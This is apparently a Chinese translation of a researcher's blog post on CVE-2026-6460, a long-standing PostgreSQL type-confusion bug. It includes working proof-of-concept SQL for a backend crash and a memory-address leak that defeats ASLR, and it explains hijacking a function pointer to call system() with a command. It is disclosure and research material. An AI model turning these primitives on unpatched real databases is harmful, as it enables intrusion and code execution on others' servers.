PostgreSQL CVE-2026-6460 涉及存在 22 年的類型混淆漏洞,可導致遠端程式碼執行
一个存在了22年的PostgreSQL漏洞演变为远程代码执行漏洞
Mehmet Ince 詳述如何利用 PostgreSQL 核心中一項存在 22 年的類型混淆原語,構造可觸發遠端程式碼執行的攻擊鏈。他透過預備查詢後修改複合類型欄位,令 PostgreSQL 以新類型解讀原有資料,進而洩漏記憶體地址並劫持原生函數指標。
文章沿著複合類型變更與預備查詢的交互作用,拆解 PostgreSQL 如何以新類型處理舊資料,並串連至記憶體位址洩漏和控制流程劫持。
如果你在 2026 年 4 月告訴我,一個問題——「Mehmet,我們可以在這個項目中使用託管 PostgreSQL 嗎?」——會把我帶進人生中最深的兔子洞,我肯定會笑出來。
幾個月後,我終於找到了那個兔子洞的盡頭。那是一個存在了 22 年的 PostgreSQL 核心零日漏洞。
在這篇網誌文章中,你會讀到我如何揭露 PostgreSQL 新一類類型混淆漏洞的故事。
這是名為「Systemic Risks in the Managed PostgreSQL Industry」的網誌系列第三部分。如果你錯過了前兩部分,不妨從第一和第二部分開始閲讀,瞭解這場混亂的完整背景。
簡而言之:
我先向 PostgreSQL 傳入一個複合類型的值,然後更改其中一個欄位的類型,再要求它讀取該值。這種類型混淆導致我遇上過最可靠的記憶體損毀漏洞利用手法之一。不過,我最初並不是在尋找 PostgreSQL 核心漏洞。
當時我正在利用 pg_clickhouse 的漏洞,而要令攻擊奏效,讓我開始思考 PostgreSQL 如何理解自己的資料。我以 AI Agent 為老師,一次提出一個問題,逐步瞭解其內部運作。後來,一場看似毫不相關的對話給了我一個想法,把一切串連起來;最終,我發現自己正盯着一個早已存在多時的原語。
這就是所有線索如何串連起來的完整真實故事,我相信你會喜歡。
2026 年 8 月初
在 6 月和 7 月期間,我一直在利用多個 PostgreSQL 擴充套件中的記憶體損毀漏洞。其中一個讓我成功實現程式碼執行的擴充套件是 pg_clickhouse。這個個案研究另有一段故事,我將來會分享。
這裏重要的是,那次漏洞利用迫使我學會了甚麼。pg_clickhouse 會把 ClickHouse 值轉換成 PostgreSQL 原生值。ClickHouse 的 Array 並不是 PostgreSQL 陣列,對吧?因此,該擴充套件必須按 PostgreSQL 預期的格式,把陣列元素重新建構為 Datum 值。最終,正是這個轉換過程中的一個錯誤,讓我得以實現程式碼執行。
這是我第一次接觸 PostgreSQL 領域中的 Datum、OIDs 等項目。我只學到足以完成漏洞利用的知識,但心底一直有個問題:
PostgreSQL 本身如何判斷一個值是甚麼?又如何處理和表示它?
大約在 7 月底,我終於把注意力從擴充套件移開,沿着這個問題深入 PostgreSQL 核心。
免責聲明:我已向供應商報告 pg_clickhouse 的越界寫入+讀取漏洞鏈,對方於 6 月 23 日修復。
PostgreSQL 類型入門 101
我從一個非常簡單的查詢開始學習。執行最簡單的查詢 SELECT 1337 時,會發生甚麼事?
為了避開 Postgres 內部的所有黑魔法,我把這篇速成課程聚焦於資料類型的基礎知識。
我先從這個查詢開始。
SET debug_print_parse = on;
SELECT 1337;資料庫掃描器會檢視查詢,識別出 SELECT 是關鍵字,而 1337 是整數詞元。接着,它會為查詢建立解析樹。然後,PostgreSQL 會遍歷這棵樹,並將其轉換為類型化查詢樹。
{QUERY
:commandType 1
:targetList (
{TARGETENTRY
:expr
{CONST
:consttype 23
:consttypmod -1
:constlen 4
:constbyval true
:constisnull false
:location 7
:constvalue 4 [ 57 5 0 0 0 0 0 0 ]
}
}
)
}解析樹如下所示。不過,我只是想更清楚瞭解一些事情,例如 consttype 23 是甚麼?為甚麼 constvalue 會有 [ 57 5 0 0 0 0 0 0 ] 而我的 1337 值又在哪裏?這時,我請 Opus 5 為我準備一套深入講解 PostgreSQL 類型的完整課程。我花了幾天時間鑽研這些內容,並與我命名為 pg_expert 的 Agent 對話,從中學到以下內容:
consttype = 23 → int4
constlen = 4 → four-byte payload
constbyval = true → stored by value
constisnull = false → this is not NULLconstvalue 4 [ 57 5 0 0 0 0 0 0 ] 可以轉換為十六進制,令這個值更容易辨認:
57 decimal = 0x39
5 decimal = 0x05在我的小端序系統上,位元組以最低有效位元組優先的順序儲存:
39 05 00 00 → 0x00000539 → 1337所以 1337 並沒有消失。 但為甚麼我們會有 8 bytes [ 57 5 0 0 0 0 0 0 ],而不是隻有 4 個位元組?
那是因為 constvalue 並沒有宣告為 int32。它被宣告為 Datum,而它是 8 bytes。我們的值 1337::int4 值儲存在該通用承載體較低的四個位元組中。
同一個 8 位元組的 Datum 如何表示 text、array 或自訂類型?
Datum 不知道自己是甚麼
和我的 pg_expert agent 聊天,讓我學到更多。Datum 並不知道自己代表甚麼。
承載 1337 的八個位元組中,並沒有隱藏標籤寫着「我是一個整數。」。PostgreSQL 只因為這個 consttype = 23 才知道它的類型。
該數字是 OID(Object IDentifiers),指向 pg_type 系統目錄中的一列
SELECT
oid,
typname,
typlen,
typbyval,
typalign,
typinput::regproc,
typoutput::regproc
FROM pg_type
WHERE oid = 23;
oid | typname | typlen | typbyval | typalign | typinput | typoutput
-----+---------+--------+----------+----------+----------+-----------
23 | int4 | 4 | t | i | int4in | int4out這表示 pg_type 那一列會顯示該值代表甚麼,以及 PostgreSQL 會如何使用它。到目前為止,一切都很出色,也容易理解。但 text 類型又如何?
SELECT
oid,
typname,
typlen,
typbyval,
typinput::regproc,
typoutput::regproc
FROM pg_type
WHERE oid IN ('int4'::regtype, 'text'::regtype) // <== HERE FILTERIN THE INT4 and TEXT only
ORDER BY oid;
typname | typlen | typbyval | typinput | typoutput
---------+--------+----------+----------+-----------
int4 | 4 | true | int4in | int4out
text | -1 | false | textin | textout對於文字,typlen = -1 表示其表示形式具有可變長度。而 typbyval = false 表示 Datum 承載的是指標。
Datum ──> pointer ──> variable-length text representation因此,同一個 8-byte 值會儲存文字的記憶體位址。Datum 可以直接傳遞值本身,也可以透過參照傳遞值。真好,我很喜歡 Datum 所提供的優雅抽象!
Unknown 是一種類型!
到目前為止一切都説得通,但我想進一步瞭解 typinput 和 typoutput 這兩欄。這些函數會把查詢提供的值轉換成原生 Datum,反之亦然。於是我再次執行了這個操作。
SELECT 1337, pg_typeof(1337), pg_column_size(1337);
?column? | pg_typeof | pg_column_size
----------+-----------+----------------
1337 | integer | 4但接着我加上引號,看看 PostgreSQL 是否有動態類型轉換/識別之類的機制:
SELECT pg_typeof('1337');
pg_typeof
-----------
unknown當時我有點困惑。我起初以為 unknown 的意思是「PostgreSQL 不知道類型」。於是我回去繼續和 pg_expert agent 聊天;到目前為止,它一直在教我很多東西。我得知 unknown 是 PostgreSQL 的實際類型,具有 OID 705,用於尚未決定最終類型的字串常值!
再説一次,這完全説得通,因為 PostgreSQL 會刻意為未指定類型的字串常值指派這個暫存類型,因為相同文字最終可能變成很多不同的東西!
SELECT '1337'::int4;例如,查詢提供了目標類型 int4。PostgreSQL 查找了 typinput 函數以處理 int4 ,並呼叫 int4in();當它需要輸出時,便使用 int4out()
批判性思考:等等!類型會選擇程式碼
到目前為止,typinput 和 typoutput 在我看來都像普通的轉換機制。pg_type 包含許多適用於不同類型的原生函數。
在進一步瞭解這些函數時,有一個細節一直令我印象深刻。輸出函數不會檢查 Datum 並識別其類型。它只是信任 Datum 周圍的所有值和旗標。
int4out() 會擷取整數,是因為 PostgreSQL 已經選定它作為 int4 的輸出函數。另一個輸出函數可以依據完全不同的規則,解讀同一個通用承載體。
我仍記得,就在那一刻,我其實想起了多年來一直在利用/修補的網絡應用程式中的 TOCTOU 漏洞 類別。
「如果我能以某種方式,在 PostgreSQL 建立一個值與使用該值之間改變類型,會怎樣?」
如果我能做到這一點,我們或許就能迫使 PostgreSQL 把為完全不同類型建立的 Datum,當作函式預期的類型來處理。在 PostgreSQL 中造成類型混淆,實際上可以讓我有機會濫用 PostgreSQL 內部的其他所有函式。
於是我繼續研究,看看可以用甚麼方法迫使 PostgreSQL 原生呼叫不同類型的輸出函式,來處理我的 int4 值。結果發現,LANGUAGE internal 功能可以用來達到這個目的。
LANGUAGE internal: 我可以刻意製造的類型混淆
LANGUAGE internal 允許 超級用戶建立一個 SQL 函式,指向已編譯至 PostgreSQL 的原生程式碼。我建立了以下函式。
CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring
AS 'textout'
LANGUAGE internal
STRICT;然後我把同一個 int4 值交給它。結果我的本機後端崩潰了!
SELECT pg_temp.confused_textout(1337);
server closed the connection unexpectedly
This probably means the server terminated abnormally before or while processing the request.我相當肯定,讀到這裡的 PostgreSQL 專家不會對這次崩潰感到意外,但我當時真的非常驚訝!
這件事令我轉向完全不同的方向。我利用這項類型混淆功能,成功建構了一個可行的漏洞利用程式,用來攻擊託管 PostgreSQL 服務供應商部署的安全擴充功能中的 LANGUAGE internal。這項研究最終成為 Part 2 故事的一部分。
有一段時間,我先把這個類型混淆問題擱在一旁,繼續研究其他事情。
大約兩星期後,一件完全無關的事又令我回頭研究這個問題。
插曲:番茄與 SQL 注入
讓我稍微離題一下。説到底,我這個 Postgres 系列文章就是要講述我的故事,不是嗎?
我不記得確切日期,但有一次我和伴侶 Bilge(EDB 的 Staff Machine Learning Engineer)跑步或散步時,談到 PostgreSQL AI 擴充功能中的二階 SQL 注入,以及能否誘使這些擴充功能的 AI 功能產生幻覺,並生成惡意 SQL 查詢。
那次對話讓我們聊到 prepared statements。
我大約在 2005 年首次認識 SQL 注入,天曉得自那以後我利用過它多少次。
二十年後,大部分程式庫和框架仍然高度依賴字串跳脱來產生安全的 SQL 查詢,儘管關聯式資料庫管理系統有一項名為預備陳述式的出色功能。
我在大學時研究過預備陳述式,主要是想看看即使目標應用程式使用了預備陳述式,還有甚麼可以被利用,例如觸發大量 SQL 冷解析之類。
但更重要的是,多年來我一直用以下概念向數千名學員教授 SQL 注入:
「知識是知道番茄是一種水果;智慧則是不把它放進水果沙律。」
– Miles Kington
在我的版本中,SQL 查詢是食譜,而值就是食材。預備陳述式讓資料庫先理解食譜,再分開接收食材。因此,即使像 ' OR 1=1 -- 這樣的值看起來很邪惡,它仍然只是資料,完全沒有機會改寫查詢。
我一直認為這種分隔是一項安全功能。但這次,我在和 Bilge 對話時注意到一點:資料庫可以先完成所有解析,然後等我執行。在執行之前,我可以執行任何想執行的查詢。
我可以在執行查詢前更改類型!
揭示 PostgreSQL 一項有 22 年歷史的類型混淆原語
所以想法很簡單:我可以預備一個查詢,修改某些東西,然後稍後再執行。但要修改甚麼?PostgreSQL 不會讓我重新定義內置類型 int4、text 或 UUID 的含義。
我當時沒有想到複合類型。老實説,我幾乎不知道那是甚麼。我向 Claude agent pg_expert 提出了一個簡單得多的問題:
我可以建立哪些 PostgreSQL 類型,在預備查詢中使用,然後在執行 execute 前再修改該類型?
這個問題令我接觸到複合類型。在 PostgreSQL 中,複合類型代表資料列的結構。它本質上是一種自訂的用戶定義資料類型,用來容納多個欄位,而每個欄位都有自己的名稱和資料類型。[1, 2]
CREATE TYPE pg_temp.poc AS (
key uuid
);它有自己的類型 OID,但其屬性定義目前的資料列結構。我可以把某個屬性的類型由 UUID 改成另一種類型,而不必取代複合類型本身。
崩潰
我建立了一個只有一個欄位的複合類型,該屬性一開始是 UUID。接着,我準備了一個查詢,把該屬性改成 bytea,然後執行預備陳述式。
CREATE TYPE pg_temp.poc AS (key uuid);
PREPARE pc_crash AS
SELECT '(01020000-0000-0000-0000-000000000000)'
::pg_temp.poc;
ALTER TYPE pg_temp.poc
ALTER ATTRIBUTE key TYPE bytea CASCADE;
EXECUTE pc_crash;結果竟然出現 segfault!
client backend was terminated by signal 11: Segmentation fault
DETAIL: Failed process was running: EXECUTE pc_crash;我知道自己找到了想要的那種確切類型混淆!
我知道這已不再是我之前利用過、只限超級用戶才能觸發的 LANGUAGE internal 行為。
我知道自己可以在任何 PostgreSQL 執行個體上,以權限最低的登入角色觸發這個崩潰。大概所有與 Postgres 相容的服務也有這個問題(稍後詳述)。
最後但同樣重要的是,我早已知道,由我控制的UUID位元組若送達錯誤的原生接收端——我這裏是bytea——便具有嚴重的漏洞利用潛力。這兩者是我在 PostgreSQL 漏洞利用中見過最可靠的利用原語。
在深入研究 PostgreSQL 內部機制之前,我們需要先了解一些 PostgreSQL 的基本知識,以便更深入理解本文的其餘部分!
快速課程:甚麼是 BYTEA?
bytea是 PostgreSQL 用來儲存任意二進制資料的資料類型。它在內部採用一種稱為 varlena 的可變長度表示方式。PostgreSQL 會在位元組前加上一個小型標頭,用以説明資料大小和儲存格式。
Basic concepts of bytea
+----------------------+------------------------+
| 4-byte header | binary payload |
+----------------------+------------------------+標頭會告訴 PostgreSQL 目前使用哪種表示方式,以及完整值的大小。
我們不需要了解每一種 varlena 表示方式。本文餘下部分只需知道兩件事:
Inline representation → the leading bytes can control the claimed length
External expanded representation → the leading bytes can introduce an internal object pointer例如,五個 ASCII 字元 hello 的一般內嵌表示。當中的 24 可以解碼為 0x24 >> 2,即 9。因此,4-byte 標頭 + 5-byte 有效負載 = 9 bytes!
+----------------------+------------------+
| 24 00 00 00 | 68 65 6c 6c 6f |
| 4-byte header | "hello" |
+----------------------+------------------+最重要的例子是外部表示方式:當標頭以 01 開始時,PostgreSQL 會認為該值完全沒有內嵌儲存,而是把這些位元組視為記憶體中某處一個擴展物件的參照。
+------------------+---------------------+----------------------------------+
| 01 | 02 | 88 77 66 55 44 33 22 11 |
| external marker | expanded-object tag | ExpandedObjectHeader * pointer |
+------------------+---------------------+----------------------------------+因此,標頭後的資料只是物件參照指標,而不是資料本身。
崩潰及根本原因分析
回到剛才的內容。
我提供的 UUID 剛好包含十六個位元組,以 01 和 02 開始。當屬性 a 仍是 UUID 時,01 02 或其後十四個零位元組都沒有任何特別之處;它們只是由我控制的 UUID 資料。
ALTER TYPE把屬性 key 的目前定義由 uuid 改成 bytea,但沒有轉換或重寫預備查詢中已儲存的二進制值。在 EXECUTE 期間,PostgreSQL 仍然持有完全相同的位元組。
當我們執行查詢時,PostgreSQL 需要傳回我們的類型 pg_temp.poc 的值。為此,它會呼叫複合類型輸出函式 record_out()。
因此,record_out()會查看 pg_temp.poc 的屬性 key,然後説:「那是 bytea」,並選用 byteaout()
但是, byteaout() 所取得的資料,是我們可以控制的舊 UUID 位元組。類型混淆就在這裏發生!
這意味着,我們可以完全控制標頭及其後的 12 個位元組,從而按需要建立任何 varlena 表示形式!
PostgreSQL 認為它需要存取 ExpandedObjectHeader,但其位址是 00000000,因為我們在 UUID 中寫入的正是這個值,因此導致本機後端崩潰。
在 byteaout() 能夠輸出該值之前,它必須先將這種外部表示轉換成可供輸出的形式。我得知 PostgreSQL 將這個過程稱為 detoasting。
當我們執行 EXECUTE pc_crash 時,呼叫路徑如下。相關路徑如下所示
EXECUTE pc_crash
├─ record_out() a: bytea
├─ byteaout() fetch + detoast
├─ detoast_external_attr() 01 02 → expanded
├─ DatumGetEOHP() eohptr = NULL
├─ EOH_get_flat_size(NULL)
└─ NULL->eoh_methods SIGSEGVPostgreSQL 隨後將 NULL 指標傳入 EOH_get_flat_size()。該函式中重要的一行實際上相當於:
return eohptr->eoh_methods->get_flat_size(eohptr);eohptr 是我們可以操控的部分,而我們在 POC 中選擇了 00000000,也就是 NULL。因此,PostgreSQL 在嘗試讀取其 eoh_methods 指標時崩潰,因為它以為收到的是有效的外部擴展物件,並沿用正常程式碼路徑處理它。
利用方法:將 NULL 替換成我們的偽造物件,讓 PostgreSQL 呼叫我們選定的方法!
透過包含原生函式指標的偽造 ExpandedObjects 劫持控制流程
ExpandedObjectMethods 包含兩個原生函式指標
typedef struct ExpandedObjectMethods
{
EOM_get_flat_size_method get_flat_size;
EOM_flatten_into_method flatten_into;
} ExpandedObjectMethods;一般程式碼會在需要時使用這些方法,將擴展物件轉換成其平面表示形式。
EOH_get_flat_size(ExpandedObjectHeader *eohptr)
{
return eohptr->eoh_methods->get_flat_size(eohptr);
}
EOH_flatten_into(ExpandedObjectHeader *eohptr,
void *result, Size allocated_size)
{
eohptr->eoh_methods->flatten_into(eohptr, result, allocated_size);
}這通常不是由攻擊者控制的回呼介面。這些是 PostgreSQL 建立的可信任內部表示形式。輸出函式可以假設指標、標頭和方法表都沒有惡意內容。
這些是間接的原生函式呼叫。PostgreSQL 會從物件的方法表取得函式位址,然後呼叫這些函式。這正是我們實際上可以用來改變控制流程的機制。
繼續之前,我需要為涉及的物件建立一個簡單模型。我按兩個偽造物件所代表的內容為它們命名
H = fake ExpandedObjectHeader
M = fake ExpandedObjectMethods table所以,我們的計劃是讓 UUID 指向 H、H 指向 M,而 M 則包含我們想呼叫的原生函式位址。
呼叫 system($payload)
重要之處是,PostgreSQL 使用了 H 兩次。讓我們記住實際的 C 程式碼
eohptr->eoh_methods->get_flat_size(eohptr)
│ │ │ │
│ │ │ └── argument = H
│ │ └───────────── function = system@plt
│ └──────────────────────────── methods table = M
└─────────────────────────────────────── object = H首先,它將 H 視為 ExpandedObjectHeader,並在偏移量 +0x08 處讀取 eoh_methods 指標。
該指標指向 M,我們在那裏放置了 system() 的位址。然後 PostgreSQL 呼叫選取的方法,並將原始物件指標 H 作為第一個引數傳入。
換言之,H 協助 PostgreSQL 找到 system(),然後同一個 H 也作為參數傳給 system()。
幸好,H 的前八個位元組位於 eoh_methods 指標之前。我可以在這些位元組中放入以 NULL 結尾的命令 id>x,同時將 M 的位址保留在偏移量 +0x08 處。
利用同一個原語洩漏記憶體位址並攻破 ASLR
正如我在第 1 部分詳細談過如何利用代管 PostgreSQL 服務供應商上的擴充功能漏洞,由於加固措施,我們無法讀取 /proc/self/mem。我們的利用計劃非常明確,但難題在於需要洩漏這些物件的位址。
我開始與我的 pg_expert 交談,想找出更多關於 PostgreSQL 操作的資訊,看看哪些操作能在 SQL 預期一般整數時傳回指標值資料。我一向 Agent 輸入提示詞,它便前往
「哦,其實我們在 7 月進行 pg_clickhouse 漏洞利用時談過這件事。你還記得 ClickHouse 陣列並不是 PostgreSQL 陣列 嗎?」
– my beloved teacher pg_expert agent
真是命運的捉弄。我最終來到的地方,正是最初構想萌芽之處。
PostgreSQL Arrays 會在二進位表示中儲存其元素類型。unnest() 在決定如何擷取每個元素時,會信任這個內部類型。
一般情況下,各部分都一致:
SELECT x
FROM unnest(ARRAY['hello']::text[]) AS item(x);array 表示其元素是 text,因此 unnest() 會傳回一個值為指標的文字 Datum,而 SQL 會將其作為文字處理。
但如果陣列內部標示為 text,而周邊 SQL 合約卻標示為 bigint 呢?
由於 text 是以參照方式傳遞,unnest() 會傳回一個 Datum,其中包含文字值的記憶體位址!但周邊的 SQL 運算式預期 bigint 以值傳遞,因此 PostgreSQL 會把相同的指標位元當作整數印出來。
換言之,我們可以利用完全相同的類型混淆漏洞,將陣列的文字元素類型改為 bigint,令 unnest() 傳回記憶體位址,而不是值!也就是洩漏記憶體位址!
建立含有 UUID 的 PostgreSQL 陣列資料結構
最小的 PostgreSQL 陣列需要 48 bytes。單一 UUID 可提供 16 個可控 bytes。因此,只要將 3 個 UUID 緊接排列,就能組成剛好 48 bytes、完全受控的資料結構!
上方動畫展示三個 UUID 如何組成一個 48-byte 陣列載體。我會在三個屬性仍然都是 UUID 時,先準備好這些位元組。接着,我只對第一個 UUID 利用相同的類型混淆,將其由 a 改為 bigint[]!
因此,unnest() 會將元素擷取為 text 並傳回其指標,而 SQL 預期的是 bigint,因此會將該指標暴露為記憶體位址。最後的 +4 會略過文字標頭,並指向我控制的負載。
CREATE TYPE pg_temp.address_carrier AS (
a uuid,
b uuid,
c uuid
);
CREATE FUNCTION pg_temp.leak_address(
r pg_temp.address_carrier
)
RETURNS bigint
LANGUAGE plpgsql
AS $$
DECLARE
pointer bigint;
BEGIN
SELECT x INTO pointer
FROM unnest(r.a) AS item(x)
LIMIT 1;
RETURN pointer + 4;
END
$$;
PREPARE address_leak AS
SELECT to_hex(pg_temp.leak_address(
'(c0000000-0100-0000-0000-000019000000,01000000-0100-0000-5000-000011223344,55667788-99aa-bbcc-ddee-ff0000000000)'::pg_temp.address_carrier
));
ALTER TYPE pg_temp.address_carrier
ALTER ATTRIBUTE a TYPE bigint[] CASCADE;
EXECUTE address_leak;
to_hex
--------------
55f2a589ae0c
(1 row)直接將 text 混淆為 bigint,只會把舊有文字位元組重新解讀為整數。陣列之所以重要,是因為它迫使 PostgreSQL 先產生真正的指標,再將相同的指標位元暴露為 bigint。
POC 影片
CVE-2026-6460 總括修正及另外 21 個案例的變體分析
到達這一步後,我開始思考在執行前可以更改屬性類型的不同情況,以及其他所有能保留舊值的方法。
我在 RowExpr、JSON 轉換快取及其他不同位置,發現相同的根本錯誤。
我總共報告了 21 個案例。
9 November 2026,PostgreSQL 的安全性提交隨一個規模大得多的版本一同發布,該版本包含 52 個新 CVE。
這 52 個 CVE 中有 6 個與本文直接相關。
- CVE-2026-6460 是類型混淆的主要總括修正。它引入複合屬性版本管理,
- CVE-2026-120142 匿名 RECORD 描述元。
- CVE-2026-120148 後端本機匿名 RECORD typmod
- CVE-2026-116329 統計資料匯入可能會以過時類型發布值
- CVE-2026-116306 防止 ExecEvalFieldStore[De]Form 使用不相符的
- CVE-2026-120139 tuple 大小計算中的整數溢位
與受管理 PostgreSQL 服務供應商協調此事
我在 5 個月前鑽研這個問題,是因為作出決定前,我需要更深入瞭解託管資料庫行業的運作。畢竟,説到底,我們都可以把基礎設施外判,但風險無法外判。
當漏洞出現在 PostgreSQL 核心時,業界如何協調合作,保護自己的客戶?
於是,我把本機可運作的漏洞利用程式移植到幾乎所有我所知的託管式 PostgreSQL 平台,並私下向它們的安全團隊分享可重現的 PoC。
我未見過有任何供應商不受這個漏洞影響!包括提供 Postgres 相容方案的供應商。
Databricks 安全團隊的工程師立即驗證了所有漏洞利用程式。感謝 Aaron 和他的團隊。
Google 將 AlloyDB 的報告提升至最高優先級 P0。由衷感謝 Google Cloud VRP 團隊自第一天起給予的所有支援!
SupaBase 團隊在 8 月中左右收到完整詳情。感謝 Etienne 自我首次聯絡他以來一直給予的無盡支持。
Ubicloud 成員在我的第 1 部分 文章發表後聯絡我,之後介紹我認識 ClickHouse 團隊。雙方也在 8 月底左右獲悉相關資訊。
AWS Aurora/RDS 和 Microsoft Azure PostgreSQL 團隊於 8 月中收到報告和可運作的 PoC。
但我最欣賞的是,有些供應商派出最資深的工程團隊成員,開始實施各自的緩解措施。他們不想讓客戶在等待上游發布週期期間暴露於風險之中。
所以,沒錯,我整個 8 月都是這樣度過的。
結語:感謝 PostgreSQL 社羣和核心安全團隊
我一生有 20 年時間都在世界各地的安全社羣中度過。但我必須説,今年我在 PGCONF.eu 期間所感受到的支持、正面態度和尊重,確實令我相當驚訝。我完全沒想到,歐洲的 PostgreSQL 社羣竟有如此像家人般的氛圍。
上月在瓦倫西亞舉行的 PGCONF.eu 上,我發表了題為「沒有人能成為超級使用者(直到我闖了進去)」的演講。此後,我獲得了各方熱烈支持,尤其是社羣中備受尊敬的成員;每當有人向 securit@ 地址發送電郵,他們都會毫不費力地修補這些漏洞。
我今天能有此成就,開源功不可沒。我一生都在透過入侵事物來學習、瞭解它們的運作方式,並令它們更加安全。能以自己的方式為 PostgreSQL 及其生態系統作出貢獻,對我意義重大。看到這些貢獻獲得如此熱情的接納,更令我感動。
應我的要求,今年的演講沒有錄影,但我收到不少來自不同國家的邀請,參加當地的 PostgreSQL 聚會。
如果你想聽完整故事,我將於 11 月 30 日星期一,在 Prague PostgreSQL Meetup 發表 90 分鐘版本。
歡迎來參加。我保證絕對值得!
https://cloomba.com/e/prague-postgresql-meetup-8-2026-11-30
(如果你讀到這裏,我很想聽聽你的想法!歡迎留言或向我提問。)
附錄:原語與重複狂歡的年代考證
可變資料列類型原語可追溯至提交 077db40fa1f3,於 2004 年 5 月 5 日隨 ALTER TABLE ... ALTER COLUMN ... TYPE 引入。
我使用的利用技術依賴於 2015 年 5 月 14 日引入的提交 1dc5ebc9077a;該提交加入了擴展物件指標及其原生方法回呼。這比我在利用 20 多個變體期間發現的許多其他攻擊原語都晚。
我並沒有聲稱 CVE-2026-6460 是「只屬於我的漏洞」。PostgreSQL 將其視為一個總括性問題,涵蓋範圍更廣的一系列複合類型問題。該提交列出了多位研究人員;他們的報告可能涉及重疊的發現、不同的變體,或是各自以截然不同的方式發現同一個系統性弱點。
這就是 AI 時代漏洞研究的現實。本文只講述我在 2026 年 8 月,沒有使用任何具備網絡能力的模型,如何找到這個漏洞。
PostgreSQL 記錄的回報者如下:
Reported-by: Heikki Linnakangas <heikki.linnakangas@iki.fi>
Reported-by: Andres Freund <andres@anarazel.de>
Reported-by: Andrew Gierth <andrew@tao11.riddles.org.uk>
Reported-by: Alexander Lakhin <exclusion@gmail.com>
Reported-by: Francesco Verardi <frevadiscor89@gmail.com>
Reported-by: Hcamael <baiyjrh@gmail.com>
Reported-by: Tomer Fichman <tomer@irregular.com>
Reported-by: OpenAI Security Research Team
Reported-by: Peter Geoghegan <pg@bowt.ie>
Reported-by: Mehmet Ince @mdisec <mehmet@mehmetince.net>
Reported-by: Bryan Green <dbryan.green@gmail.com>
Reported-by: Sumedh Pathak <sumedhpathak@microsoft.com>
Reported-by: Nicholas Carlini <npc@anthropic.com>
Reported-by: Sergey Shinderuk <s.shinderuk@postgrespro.ru>
Reported-by: Yuxiao Guo <dllggyx@outlook.com>
Reported-by: Nikhil Sontakke <nikhil@planetscale.com>
Reported-by: Stephan Lipp <Stephan@Adalogics.com>
Reported-by: Daniel Bakker <daniel@jackds.nl>
來源:Hacker News 熱門(buzzing.cc 中文翻譯) · mehmetince.net